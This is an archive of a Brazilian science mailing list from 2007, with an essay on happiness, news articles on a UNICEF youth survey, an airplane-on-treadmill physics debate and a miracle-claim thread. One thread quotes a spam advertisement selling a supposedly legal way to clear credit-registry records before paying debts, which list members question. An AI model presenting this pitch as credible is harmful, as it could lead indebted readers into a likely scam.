>a temos mais, resumida na frase "éramos felizes e não sabíamos".
>
>
>
>Talvez a forma de alcançar a felicidade seja um obstáculo, visto ser ela
>"perseguida" pelo vivente. Qualquer um, ao ser perseguido, sente-se acuado
>e
>foge. Geralmente, queremos retê-la para sempre em nós, em vez de
>simplesmente desfrutá-la. É como tentar pegar no ar bolhas coloridas de
>sabão ou aprisionar o canto dos pássaros em uma gaiola. A felicidade,
>nesses
>casos, não se realiza. Ficamos frustrados sem saber porque.
>
>
>
>Não é difícil perceber que todos somos egoístas por natureza. O que muda,
>às
>vezes, são as atitudes provocadas por esse egoísmo. Os mais fortes podem
>demonstra-lo e agir abertamente. Os mais fracos o fazem em surdina,
>disfarçadamente. E os mais vividos percebem que o egoísmo, como toda
>atitude, requer equilíbrio e limites. E buscam uma nova forma de
>convivência
>menos conflituosa.
>
>
>
>Outros valores também são importantes nessa busca e requerem preparação.
>Eles são estruturados no seio da família onde o infante desenvolve suas
>primeiras referências. É o fundamento. O resto é, em grande parte,
>conseqüência desse primeiro aprendizado. Em uma pesquisa da Unicef os
>jovens
>elegeram a família o ponto de apoio fundamental na educação e na formação
>dos seus valores pessoais e sociais.(Vide reportagem no final)
>
>
>
>Em contrapartida, a felicidade é vendida na mídia com muito interesse.
>Felicidade é o orgasmo transmitido sob gritos, gemidos e mão crispadas nos
>lençóis na telinha do faz-de-conta... É sair do shopping carregando
>"trocentas" sacolas de grifes famosas. Não é só usar uma roupa bonita e
>elegante em que você se sente confortável! Ela se realiza no ato de
>comprar,
>mostrar aos outros o seu poder de compra e não no usufruto do que você
>adquiriu. Felicidade é tirar vantagem em tudo, certo? É parecer que é... em
>vez de ser. Acredito que a felicidade, hoje, é mais aquela que os
>marqueteiros dizem que é, durante todas as 25 horas do dia.
>
>
>
>Na prática, vejo nas pessoas que parecem viver a felicidade uma agradável
>mistura de paz, confiança, tranqüilidade, disposição, integridade,
>percepção
>e atenção à realidade... E, todas elas, parecem dispor de todo o tempo do
>mundo! O que será que elas fazem para alcançar aquilo que imaginamos que só
>bastante dinheiro pode nos dar?
>
>
>
>As crianças, quando se sentem em ambiente seguro, transmitem essas
>"qualidades" ao serem simplesmente felizes. Suas preocupação e realizações
>são imediatas, logo desfrutadas. Um pouco diferente da elaborada
>felicidade,
>programada por nós hoje menos crianças. Serei feliz quando: me formar, me
>empregar, comprar um apartamento, um carro, ter aumento de salário, casar,
>separar, ter um filho, os filhos crescerem..., tornarem-se independentes,
>aposentar, ganhar a megasena (sozinho, claro), etc. e etc.
>
>
>
>Cada um apresentará seus sinais e valores do que seja ser feliz. Muitas
>coincidências ocorrerão. Uma, que me parece estará em todas elas já foi
>dita
>por Tom, mas de forma tão banal, que às vezes é confundida com filosofia
>barata: "é impossível ser feliz sozinho" (Wave - Tom Jobim). "Fundamental é
>mesmo o Amor..."
>
>E o que é isso que denominamos de amor?
>
>
>
>José Renato M. de Almeida
> Salvador - Bahia
>
>____________________________
>
>
>
>A TARDE 01/12/2002 - Domingo - Local
>http://www.atarde.com.br/materia.php3?mes=12&ano=2002&id_subcanal=17&id_materia=37
>Comportamento
>Família garante bem-estar, dizem jovens
>
>Cleidiana Ramnos
>
>Qual é o perfil do adolescente brasileiro? Para responder a esta pergunta,
>o
>Fundo das Nações Unidas para a Infância (Unicef) foi buscar informações na
>fonte. Intitulada "A Voz dos Adolescentes", a nova pesquisa publicada pela
>instituição é a primeira realizada em todo o Brasil a ouvir opiniões de
>adolescentes de todas as regiões geográficas do País, dos diferentes níveis
>de renda, escolaridade, das diversas raças e cultura. Além disso, o
>trabalho
>revelou surpresas, derrubando mitos. Quando se imagina que esta é a fase da
>vida em que mais há conflito com a família, pode-se perceber que, apesar
>disto, ela é a instituição mais importante para os meninos. Ela foi
>apontada
>por 85% dos adolescentes brasileiros como a responsável pela garantia dos
>seus direitos e bem-estar, sendo seguida pela escola que alcançou o índice
>de 40%.
>
>"Este tipo de trabalho é importante para pensar projetos e ações para este
>público. Os dados são representativos do que os meninos sentem e pensam dos
>pais, da escola e sobre assuntos como drogas e a sua sexualidade",
>salientou
>a oficial de comunicação do Unicef na Bahia e Sergipe, Patrícia Portela.
>
>A utilidade da pesquisa do Unicef está exatamente em ter mergulhado no
>próprio universo adolescente e não em dados dos chamados órgãos oficiais. A
>comparação com os números dessas fontes vai poder ser feita no próximo mês,
>quando o Unicef vai divulgar, por meio de teleconferência, o trabalho "A
>Situação do Adolescente Brasileiro", a partir de indicadores, como IBGE,
>Ipea, Inesc e ministérios.
>
>"Será o relato do Brasil sobre os seus meninos", destacou Patrícia Portela.
>A pesquisa ouviu 5.280 adolescentes entre 12 e 17 anos, numa amostragem que
>reflete a opinião dos mais de 21 milhões de brasileiros que estão nesta
>faixa etária. Na Bahia, além de Salvador, foram ouvidos meninos de Lauro de
>Freitas, Simões Filho, Alagoinhas, São Gonçalo dos Campos e Vitória da
>Conquista.
>
>Os dados são importantes para o Unicef, pois um dos seus programas é o
>"Cidadania dos Adolescentes", que contempla a faixa etária de 12 a 18 anos,
>além do "Sistema de Garantias e Proteção" e "Monitoramento e Comunicação
>pelos Direitos", destinado a jovens de todas as faixas etárias. A pesquisa
>sediada em Brasília contou com uma equipe formada por sociólogos,
>estatísticos, cientistas políticos e jornalistas ligados a trabalhos que
>tratam da questão da infância e da adolescência.
>
>Dificuldades
>
>Os dados gerais da pesquisa confirmam o que já é senso comum no sentido de
>que o Brasil descuida da educação e saúde dos seus jovens. Embora 94%
>estejam matriculados em algum estabelecimento de ensino, quando o assunto é
>qualidade do espaço físico onde estudam, 61% a definem como negativa.
>Apesar
>de 70,2% dos adolescentes considerarem os conteúdos difundidos pela escola
>importantes para a sua vida e crescimento profissional, apenas 39,7% dizem
>que as aulas ajudam a compreender melhor a sociedade em que vivem.
>
>"Se avançamos em relação à matrícula escolar, agora é hora de melhorar a
>qualidade de ensino. A escola tem que seduzir seus alunos", disse Patrícia
>Portela. Em relação à saúde, apesar de 79% dos adolescentes terem postos de
>saúde nas proximidades de suas casas, eles não são fontes procuradas, por
>exemplo, para informações sobre sexualidade, o que engloba também o
>conhecimento sobre as doenças sexualmente transmissíveis (DSTs).
>
>Dos entrevistados, 57% disseram que não procuram orientação nesses locais;
>dos que chegaram a procurar, 11% classificaram a informação como confusa; e
>29% a definiram como esclarecedora. Dos entrevistados, 32,8% já tiveram
>relação sexual e, dentre estes, observou-se que o sexo seguro, com a
>utilização da camisinha, cresce proporcionalmente ao nível de instrução.
>
> Dos que usam o preservativo todas as vezes, 40,1% estão no ensino médio;
>32,1%, entre a 5ª e a 8ª série do ensino fundamental; e 14,3%, entre a
>pré-escola e a 4ªsérie do ensino fundamental. Dentre os que nunca usaram,
>36,3% estão entre a pré-escola e a 4ª série; 33,1%, entre a 5ª e a 8ª série
>do ensino fundamental; e 11,2%,
>
>___________________________________
>
>
>
>A TARDE 01/12/2002 - Domingo - Local
><
>http://www.atarde.com.br/materia.php3?dia=01&mes=12&ano=2002&id_materia=36
> >
>Comportamento
>Conceito de felicidade
>
>Cleidiana Ramnos
>
>
>Os dados relacionados pelo Unicef ganham mais cor num debate com os
>personagens da pesquisa: os adolescentes. Um grupo formado por
>participantes
>de projetos da organização não-governamental Cipó reafirmam as conclusões
>do
>levantamento do Unicef. No item família, por exemplo, eles a definem como a
>instituição mais importante para o equilíbrio.
>
>"Se há desequilíbrio familiar, tudo vai mal", analisa Michel da Silva, 17
>anos. Na pesquisa "A Voz do Adolescente", os conceitos de felicidade e
>infelicidade estiveram relacionados à instituição familiar. Dos
>entrevistados, 70% disseram que estão felizes quando em ambiente familiar e
>61% elegeram as brigas familiares como maior motivo de infelicidade.
>
>"A família é o centro de tudo", resume Suzy-Léa Araújo Godinho, 17 anos.
>Mesmo tendo problemas de relacionamento com seus familiares, que considera
>autores de um comportamento excludente em relação a ela, Thayse Santana, 17
>anos, reconhece a importância da instituição família.
>
>Influência
>
>Filha única, Vanessa Sampaio, 16 anos, destaca que a família é a
>responsável
>pelo que se é no futuro. "A relação com ela influencia para toda a vida",
>resume categórica. De acordo com Vanessa discordar não significa
>necessariamente viver em guerra constante. "Conflitos sempre acontecem, mas
>tem que se ter equilíbrio", disse.
>
>Do grupo de seis adolescentes, Antônio Damasceno Filho, 17 anos, é o único
>que já está no mercado de trabalho. Seu rendimento é de um salário mínimo,
>mas sem carteira assinada. Os efeitos de iniciar tão cedo a experiência
>profissional já começam a ser sentidos por Antônio. "Vou ter que passar a
>estudar à noite e sinto que tenho pouco tempo para fazer as coisas que
>preciso", salientou.
>
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>[As partes desta mensagem que não continham texto foram removidas]
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>Página de apoio
>http://www.ciencialist.com
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SUBJECT: RE: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/03/2007 16:43

Atenção, lista!!!
P/quem é ladrão e não conseguiu se eleger!
Este não será também um tema meio ''desloucado'' aquí?
abr.M.


>From: "patricia2171_linda" <patricia2171_linda@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E
>CCF
>Date: Sun, 04 Mar 2007 19:16:38 -0000
>
>
>LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
>
>Dívidas de qualquer valor!
>
>Seja cartão de crédito, financeiras, bancos, telefonia fixa ou
>móvel etc...
>
>R$100,00... R$5.000,00... R$100.000,00...
>
>Regularize já o seu nome!
>
>O FRETE É GRATIS!
>
>O material está em Word Nele é explicado passo a passo como
>retirar seu nome de órgãos de restrição de crédito em apenas
>10 dias úteis. Inclui todas as documentações necessárias para
>que você possa dar entrada no Serasa, Spc e outros, cabendo a você
>apenas colocar os seus dados e os dados da empresa que você deve.
>
>TIRE SEU NOME NO SERASA, SPC, e outros órgãos de restrições a
>crédito, ANTES DE PAGAR A DÍVIDA.
>
>EM 10 DIAS ÚTEIS
>
>Tudo o que você precisa saber para estar habilitado a limpar o seu
>nome e de outras pessoas e Empresas. Em 10 dias úteis, mesmo antes de
>pagar a dívida, seja qualquer quantia.
>
> DE FORMA TOTALMENTE LEGAL
>
> LEMBRANDO QUE VC Ñ VAI PAGAR E NEM FRAUDAR NADA, SIMPLESMENTE VC VAI
>USAR A PROPRIA LEI QUE ´´SUJOU`` SEU NOME PARA LIMPA-LO NOVAMENTE
>
> Super material completo com todas as informações e procedimentos
>para cada caso, e modelos de documentos para você preencher e dar
>entrada imediatamente nos locais indicados, e limpar seu nome em 10 dias
>úteis (depois de baixado seu nome ele não voltará mais pelas
>mesmas dividas, pois vc ira retirar seu nome de forma legal). Tudo para
>você agir já.
>
>Com este material você pode limpar o seu nome, de seus amigos,
>conhecidos ou até ganhar uma renda extra, isso mesmo o que as
>empresas fazem para limpar teu nome, vc vai poder fazer, sem contratar
>advogado algum, nem empresa alguma.
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>SÓ DEPENDE DE VC! VALOR 19,99
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>1)BANCOS CONVENIADOS:
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>1) FORMAS DE ENVIO:
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>1) FORMAS DE PAGAMENTO:
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>OU
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>DEPOSITO EM CONTA.
>PEÇA MAIS INFORMAÇÕES PELO: plenitude2007@bol.com.br
><mailto:plenitude2007@bol.com.br> ou visite o nosso site:
>www.academiamundial21.com <http://www.academiamundial21.com/>
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SUBJECT: Re: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 17:13

Patrícia,
Qual a finalidade científica dessa mensagem?
Agradeço a explicação.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "patricia2171_linda" <patricia2171_linda@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 4 de março de 2007 16:16
Assunto: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF



LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF

Dívidas de qualquer valor!

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Regularize já o seu nome!

O FRETE É GRATIS!

O material está em Word Nele é explicado passo a passo como
retirar seu nome de órgãos de restrição de crédito em apenas
10 dias úteis. Inclui todas as documentações necessárias para
que você possa dar entrada no Serasa, Spc e outros, cabendo a você
apenas colocar os seus dados e os dados da empresa que você deve.

TIRE SEU NOME NO SERASA, SPC, e outros órgãos de restrições a
crédito, ANTES DE PAGAR A DÍVIDA.

EM 10 DIAS ÚTEIS

Tudo o que você precisa saber para estar habilitado a limpar o seu
nome e de outras pessoas e Empresas. Em 10 dias úteis, mesmo antes de
pagar a dívida, seja qualquer quantia.

DE FORMA TOTALMENTE LEGAL

LEMBRANDO QUE VC Ñ VAI PAGAR E NEM FRAUDAR NADA, SIMPLESMENTE VC VAI
USAR A PROPRIA LEI QUE ´´SUJOU`` SEU NOME PARA LIMPA-LO NOVAMENTE

Super material completo com todas as informações e procedimentos
para cada caso, e modelos de documentos para você preencher e dar
entrada imediatamente nos locais indicados, e limpar seu nome em 10 dias
úteis (depois de baixado seu nome ele não voltará mais pelas
mesmas dividas, pois vc ira retirar seu nome de forma legal). Tudo para
você agir já.

Com este material você pode limpar o seu nome, de seus amigos,
conhecidos ou até ganhar uma renda extra, isso mesmo o que as
empresas fazem para limpar teu nome, vc vai poder fazer, sem contratar
advogado algum, nem empresa alguma.

SÓ DEPENDE DE VC! VALOR 19,99

1)BANCOS CONVENIADOS:

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PEÇA MAIS INFORMAÇÕES PELO: plenitude2007@bol.com.br
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SUBJECT: Re: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 17:13

Murilo,

Qual a finalidade científica da resposta da mensagem em questão?
agradeço a explicação.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "murilo filo" <avalanchedrive@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 4 de março de 2007 16:43
Assunto: RE: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF


Atenção, lista!!!
P/quem é ladrão e não conseguiu se eleger!
Este não será também um tema meio ''desloucado'' aquí?
abr.M.


>From: "patricia2171_linda" <patricia2171_linda@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E
>CCF
>Date: Sun, 04 Mar 2007 19:16:38 -0000
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>LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
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>Dívidas de qualquer valor!
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>pagar a dívida, seja qualquer quantia.
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> LEMBRANDO QUE VC Ñ VAI PAGAR E NEM FRAUDAR NADA, SIMPLESMENTE VC VAI
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>
> Super material completo com todas as informações e procedimentos
>para cada caso, e modelos de documentos para você preencher e dar
>entrada imediatamente nos locais indicados, e limpar seu nome em 10 dias
>úteis (depois de baixado seu nome ele não voltará mais pelas
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>Com este material você pode limpar o seu nome, de seus amigos,
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SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 17:23

De: "José Renato"
A ciência da felicidade

> "O que é preciso para as pessoas viverem a felicidade?"

Comprar meia dúzia de livros de auto-ajuda, estudar Ciência e até atingirem o nível 33, afastarem-se da listas científicas.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: Fw: qu�mica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 18:24

Help químico.

quem ajuda?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Maria Gorete Silvério
Para: leobarretos@uol.com.br
Enviada em: quarta-feira, 28 de fevereiro de 2007 15:37
Assunto: química


Olá, me chamo Júlio estudo na 2ªsérie do ensino médio e estou elaborando um trabalho de pesquisa sobre 4 componentes químicos, são eles:
Ácido Sulfídrico, Hidróxido de Cálcio, Sal Brometo de Ag e dióxido de enxofre.
Alguns desses compostos são mais fáceis de encontrar pesquisas do que outros, no entanto, estou tendo dificuldades para adquirir informações sobre o Sal Brometo de Ag e o Hidróxido de Cálcio.
A minha pesquisa requer encontrar de cada componente, as ocorrências ( natural ou sintética), obtenções ( extração ou reação), propriedades (físicas, químicas, organolépticas e toxicológicas), aplicações (principais usos) e importâncias ( economia, ambiental, social, para o organismo humano).
Gostaria de saber se o senhor podería me ajudar com os quais estou tendo dificuldades para conseguir essas informações.
Se o Sr. puder me ajudar indicando alguns sites e/ou livros ficarei muito grato.
obrigado
Júlio César

Data de entrega do trabalho: 06/03/2007.




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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 18:38

Olá, Ricardo, dentro da questão proposta originalmente, faço comentários
após os seus:
...........................
From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 4:09 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao que
> somos levados a pensar a princípio. Mas como o sistema que empurra o avião
> para frente é independente da esteira (turbina, por exemplo), a esteira se
> mover para trás não empurra o avião para trás de forma determinante, mas
> sim, faz as rodas girarem mais rápido.
JR - É isso que o Takata está tentando há vários e-mails esclarecer a vc e a
Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
esteira carrega o avião para trás. As rodas girarão um pouco apenas no caso
da esteira partir com uma *aceleração* alta o suficiente para vencer o
atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge a
velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
param de rodar e ele passa a ser transportado "paradão", se deslocando para
trás com a mesma velocidade da esteira.
A seguir, vamos ver o que ocorre quando os motores do avião são acionados.

> Então, o avião anda para a frente, em relação ao chão, a esteira roda para
> trás, e as rodas giram mais rápido.
JR - Não, Ricardo, com os motores parados o avião não se desloca para frente
a não ser uns poucos metros, caso a esteira parta com alta aceleração. Ele
só passará a se deslocar para frente continuamente sobre a esteira quando os
motores das hélices ou turbinas forem acionados e acelerados.
Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
estarão girando sobre a esteira como um carro no asfalto, mas o avião estará
praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
relação ao fluxo de ar deslocado pelas hélices ou turbinas.
Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar acima
mencionado ser suficientemente forte para elevar o avião da esteira, o que
poderia ser considerado um vôo, semelhante ao que ocorreria se o avião fosse
"amarrado pela cauda" e acelerasse os motores.
>
> []s
> Ricardo

[]s
José Renato
................................................
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, March 04, 2007 12:10 AM
> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
> esteira
>
>
>> Ricardo:
>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> ao
>> empurrar o ar para trás, empurra o avião para frente, independente deste
>> ter
>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>> cima. ]
>> ..........................
>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>
> José Renato,
>

>
>
>
>
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>
>
> E-mail classificado pelo Identificador de Spam Inteligente Terra.
> Para alterar a categoria classificada, visite
> http://mail.terra.com.br/protected_email/imail/imail.cgi?+_u=jrma&_l=1,1173035438.889133.4811.alcuta.terra.com.br,4866,Des15,Des15
>
> Esta mensagem foi verificada pelo E-mail Protegido Terra.
> Scan engine: McAfee VirusScan / Atualizado em 02/03/2007 / Versão:
> 5.1.00/4975
> Proteja o seu e-mail Terra: http://mail.terra.com.br/
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.7/710 - Release Date: 4/3/2007
> 13:58
>
>



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 20:12

Olá José Renato,

Talvez estejamos interpretando o problema de forma diferente. Vamos dar mais
uma olhada no enunciado original:

"Um avião está estacionado em uma pista móvel (como se fosse uma esteira
rolante). O avião se move em um sentido, e a esteira no sentido oposto.
A esteira tem um sistema de controle que acompanha a velocidade do avião
e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
oposto. A pergunta é: o avião vai conseguir decolar?"

Segundo o texto acima se o avião estiver parado, a esteira estará também
parada, com a turbina ligada. Nesta interpretação do texto (talvez vc tenha
outra), é impossível o avião ficar parado. Imaginou a cena? O avião e a
esteira parados, com uma turbina empurrando com toda a força o avião para
frente? Conforme o avião começa a andar para frente, a esteira começa a
rodar para trás com a mesma velocidade, o que faz com que as rodas girem com
o dobro da velocidade. Talvez não concorde com esta visão, mas, se for o
caso, peço que mostre os erros que cometi.

Obrigado,

Ricardo




SUBJECT: Re: [ciencialist] Útero bicorno
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 20:15

Caro José Renato,

Concordo que a "varinha mágica" possa ser importante, embora experiências
controladas sejam necessárias para avaliar tal hipótese. Ainda assim,
canonizar uma pessoa por causa da "fé" de outra não é um certo exagero?

[ ]s

Alvaro Augusto



----- Original Message -----
From: "José Renato" <jrma@terra.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, March 03, 2007 12:18 AM
Subject: Re: [ciencialist] Útero bicorno


> Olá, Álvaro! Como vimos no link fornecido por Takata, a maioria das
> mulheres
> com útero bicorno geram filhos até o nascimento. O que não se pode deixar
> de
> considerar é a condição que a *confiança* em alguma coisa promove no
> organismo das pessoa. Uma das maiores causas de esterilidade e abortos é o
> estresse, a ansiedade e as preocupações. Uma pessoa confiante é tranqüila,
> tem o sistema nervoso apto a dar as respostas bem naturais, sistema
> imunológico funcionando normalmente, etc. e etc. É claro que uma pessoa
> assim tem mais chances de engravidar do que uma angustiada. Um dos
> exemplos
> mais consistentes é o caso muito comum da mulher que faz tratamento para
> engravidar durante dois, três, cinco anos sem conseguir segurar uma
> gravidez
> até o fim. Ela desiste e em acordo com o parceiro partem para a adoção.
> Oito
> meses após a adoção ela engravida mesmo sem manter qualquer dos
> tratamentos
> feitos anteriormente... A questão é saber o que ou quem consegue dar essa
> confiança à uma pessoa.
>
> Poucos percebem a importante lição que uma historinha infantil contém: a
> do
> patinho que não sabia nadar. Toda vez que entrava nágua se debatia e ia ao
> fundo. Chamado o doutor pato especialista nessa área, ele conversa com o
> patinho e lhe dá uma varinha mágica que o fará boiar... Confiante o
> pequeno
> entra nágua com as penas oleosas arrumadas, bóia e nada como nunca fez
> antes. Feliz, se esmera em velocidade e manobras para que todos vejam como
> ele é bom. Numa dessas a varinha mágica cai de seu bico - ou de debaixo
> das
> asinhas, segundo alguns autores - e, amedrontado, começa a se debater. Mas
> num repente percebe que ele já possui todas as condições para boiar, nadar
> e
> fazer melhor as piruetas sem a varinha mágica...
> Continua a questão: onde podemos obter essa confiança? A turma do
> pensamento
> positivo dá uma receita, os céticos outra, os psicólogos e psicanalistas
> têm
> cada um a sua, e assim vamos... Voltaire já ironizava que médico é o
> senhor
> que mantém o paciente distraído enquanto o corpo se recupera e se cura.
>
> []s
>
> José Renato
> ......................................................
>
> From: "Alvaro Augusto (L)" <alvaro@To: <ciencialist@yahoogrupos.com.br>
> Sent: Monday, February 26, 2007 10:50 AM
> Subject: [ciencialist] Útero bicorno
>
>
>> Estou lendo sobre os supostos milagres atribuidos a Frei Galvão. Em um
>> deles, uma mulher portadora de útero bicorno, já tendo abortado três
>> vezes,
>> recorreu a orações e às "pílulas de frei Galvão", conseguindo chegar ao
>> fim
>> da gestação. Qual a chance de uma mulher com útero bicorno conseguir
>> chegar
>> ao fim da gestação? A literatura médica registra muitos desses casos?
>> Seria
>> interessante conhecer o caso de uma mulher ateísta ou agnóstica que tenha
>> produzido prole saudável, mesmo tendo útero bicorno.
>>
>> [ ]s
>>
>> Alvaro Augusto
>



SUBJECT: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/03/2007 22:17

Olá, Homero! Faço comentários após JR -
..................................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 28, 2007 12:44 AM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


Olá Jose Renato

Renato: "Sim, se as hélices tiverem a condição de criar um fluxo de ar
nas asas capaz de sustentá-lo. Na proposta original parece-me que o
avião possui turbinas. Nesse caso não há fluxo de ar nas asas, só nas
turbinas."

Não há menção no enunciado sobre o sistema propulsor do avião, e de
todo modo isso é irrelevante ao problema. Não são as hélices que
produzem o fluxo de ar nas asas, para permitir o vôo. As hélices
apenas criam empuxo, de forma a mover o avião, e é este movimento, seu
deslocamento na atmosfera, que permite o vôo.
JR - Danou-se, Homero! E como vc acha que as hélices criam empuxo? É
cortando e empurrando o ar em sua maior massa para trás. Ao fazer isso o ar
da frente flui sobre e sob as asas do dito cujo. Se a velocidade desse fluxo
for suficiente pode elevar o avião do chão, mesmo que ele esteja freado.

Como exemplo, pense em um carro com hélices e em um planador, sem
hélices. No primeiro caso, há deslocamento, mas não vôo, pois o carro
não tem asas. No segundo, não há hélices, mas há vôo, pois há
deslocamento na atmosfera.
JR - O planador voa porque há um fluxo de ar em suas asas que o sustentam.

Não é possível usar o deslocamento de ar produzido pelas hélices para
gerar sustentação, como não é possível fazer o famoso "barco feito de
banheira e chuveiro" dos desenhos animados, ou soprar na vela do barco
para move-lo. Não funciona assim, a mecânica do vôo é bem diferente.
JR - Pense um pouco, Homero, são arranjos diferentes. Vc vai chegar lá...

No caso de ser um jato, continua tudo na mesma. O jato, ao criar
deslocamento de ar para "tras", cria uma reação contrária "para
frente" (ação e reação). Isso desloca o avião (ou o carro, se a
turbina for instalada em um), que se move na atmosfera, e esse
movimento cria a sustentação, que permite o vôo.
JR - A turbina faz o ar que está a frente do avião passar para trás *por
dentro dela*. Não há fluxo nas asas, nem sob, nem sobre elas. Não causa
sustentação, só empuxo praticamente na horizontal.

Nada disso tem relação com o solo, e as rodas, no avião, são apenas
dispositivos de "desligar" o avião do atrito com este. Dessa forma,
não importa "o que" acontece com esse solo, se ele anda para frente,
para tras, ou se fica parado em relação ao avião.
JR - O x do problema é esse: onde está localizado o ponto de referência para
medir as velocidades do avião e da esteira?

É essa a questão proposta pelo enunciado.

Um abraço.
Homero

[]s
José Renato
...................................

PS: O barco de desenho animado, usado pelo pinguim da Disney, que
desejava sair do pólo Sul e viver em um lugar quente, é formado por
uma banheira, e tem o cano do chuveiro instalado no ralo dessa
banheira. Assim, a água que "entra" pelo ralo, passa pelo cano, e sai
pelo chuveiro, que está, é claro, apontado para "fora" do barco,
gerando um motor que "nunca para" (atenção, Murilo, não tente
construir um desses, não funciona..:-).



SUBJECT: O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/03/2007 23:43

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> --- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@>
> > Tipicamente para pneu de borracha sobre asfalto, cr eh de 0,0075 e
> > crv 0,0025.
>
> Peraê q precisarei confirmar esses valores.

Os valores são esses, mas em outra fórmula (com crf correspondendo ao cr):

Frr = [crf + cr x 3,24 x (V/100)^2,5].m.g

http://www.its.ucdavis.edu/publications/1999/UCD-ITS-RR-99-04.pdf

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Útero bicorno
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 00:31

Álvaro:
Se se refletir em profundidade sobre "canonizar", rito da igreja católica, que transforma pessoas em "santos", há de se admitir que, revendo a história da Santa Sé, esse procedimento tem eminente aplicação política e até mesmo demagógica, como é o atual caso. Mas é um probleme pertinente à alta hierarquia do Vaticano e vocês, fiéis, devem, segundo os ritos, crer com toda sua inteligência.

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 8:15 PM
Subject: Re: [ciencialist] Útero bicorno


Caro José Renato,

